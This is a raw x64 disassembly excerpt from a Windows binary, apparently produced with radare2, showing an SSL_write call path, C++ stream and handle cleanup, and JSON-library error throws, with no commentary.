mov dword [rsp + 0x20], 7
lea r9, [rbp + 0x2a0]
xor r8d, r8d
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0xa0]
call fcn.14001fa80
nop
mov rsi, qword [rax + 0x18]
test rsi, rsi
je 0x1400331d1
cmp qword [rax + 0x38], 0
je 0x1400331d1
lea rbx, [rax + 8]
cmp qword [rbx + 0x18], 0x10
jb 0x140033172
mov rbx, qword [rbx]
mov rdi, qword [r15 + 8]
lea rcx, str.SSL_write__
call fcn.1400ee110
test rdi, rdi
je 0x1400331d1
test rbx, rbx
je 0x1400331d1
test esi, esi
js 0x1400331d1
mov rax, qword [rdi + 0x3b8]
test rax, rax
je 0x1400331b4
mov edx, 8
lea r8d, [rdx - 7]
mov rcx, rdi
call rax
mov dword [rdi + 0x3c0], 8
mov r8d, esi
mov rdx, rbx
mov rcx, rdi
call fcn.1400c3b90
mov edx, eax
lea rcx, str.SSL_write__
call fcn.1400ee1b0
nop
lea rax, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0x10
cmovae rax, qword [rbp + 0xa8]
mov qword [rbp + 0xb8], r12
mov byte [rax], 0
lea rax, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0x10
cmovae rax, qword [rbp + 0xc8]
mov qword [rbp + 0xd8], r12
mov byte [rax], 0
mov byte [rbp + 0xa1], 0xff
lea rcx, [rbp + 0xc8]
call fcn.140010b20
lea rcx, [rbp + 0xa8]
call fcn.140010b20
nop
lea rcx, [rbp + 0x250]
call fcn.140010b20
nop
movzx edx, byte [rbp + 0x100]
lea rcx, [rbp + 0x108]
call fcn.1400381c0
nop
mov rcx, qword [rbp + 0x180]
test rcx, rcx
je 0x140033273
jle 0x14003326c
call qword [sym.imp.ntdll.dll_NtClose]
mov qword [rbp + 0x180], r12
lea rcx, [rbp + 0x170]
call fcn.1400498c0
lea rcx, [rbp + 0x1c8]
call fcn.140010aa0
lea rcx, [rbp + 0x1a8]
call fcn.140010aa0
lea rcx, [rbp + 0x188]
call fcn.140010aa0
mov rcx, qword [rbp + 0x180]
test rcx, rcx
jle 0x1400332ba
call qword [sym.imp.ntdll.dll_NtClose]
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x78]
call fcn.1400159b0
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x6c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x18], rax
lea rcx, [rbp + 0x18]
call fcn.140166cf4
nop
lea rcx, [rbp + 0x110]
call fcn.140010b20
nop
mov rcx, qword [rbp + 0x150]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14003334e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0x150], 0xffffffffffffffff
lea rcx, [rbp + 0x130]
call fcn.140010aa0
mov rcx, qword [rbp + 0x3d0]
xor rcx, rsp
call fcn.140167e90
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [rbp + 0x100]
call fcn.140038790
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140011c00
nop
mov r8, rax
lea rdx, str.cannot_use_operator___with_a_string_argument_with
lea rcx, [rsp + 0x40]
call fcn.1400394b0
nop
mov r8, rax
mov edx, 0x131
lea rcx, [rbp + 0xa0]
call fcn.14001eff0
lea rdx, [0x1409bb1c8]
lea rcx, [rbp + 0xa0]
call fcn.14016b3b0
nop
lea rcx, [rbp + 0x100]
call fcn.140038790
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140011c00
nop
mov r8, rax
lea rdx, str.cannot_use_operator___with_a_string_argument_with
lea rcx, [rbp + 0x250]
call fcn.1400394b0
nop
mov r8, rax
mov edx, 0x131
lea rcx, [rbp + 0xa0]
call fcn.14001eff0
lea rdx, [0x1409bb1c8]
lea rcx, [rbp + 0xa0]
call fcn.14016b3b0
nop
test dl, 4
je 0x140033464
lea rbx, [0x1401d03e0]
jmp 0x140033479
test dl, 2
lea rbx, [0x1401d0410]
lea rax, [0x1401d03f8]
cmove rbx, rax
mov edx, 1
lea rcx, [rbp + 0x230]
call fcn.1400145d0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140014d30
lea rdx, [0x1409bacd8]
lea rcx, [rsp + 0x40]
call fcn.14016b3b0
nop
call fcn.140010880
int3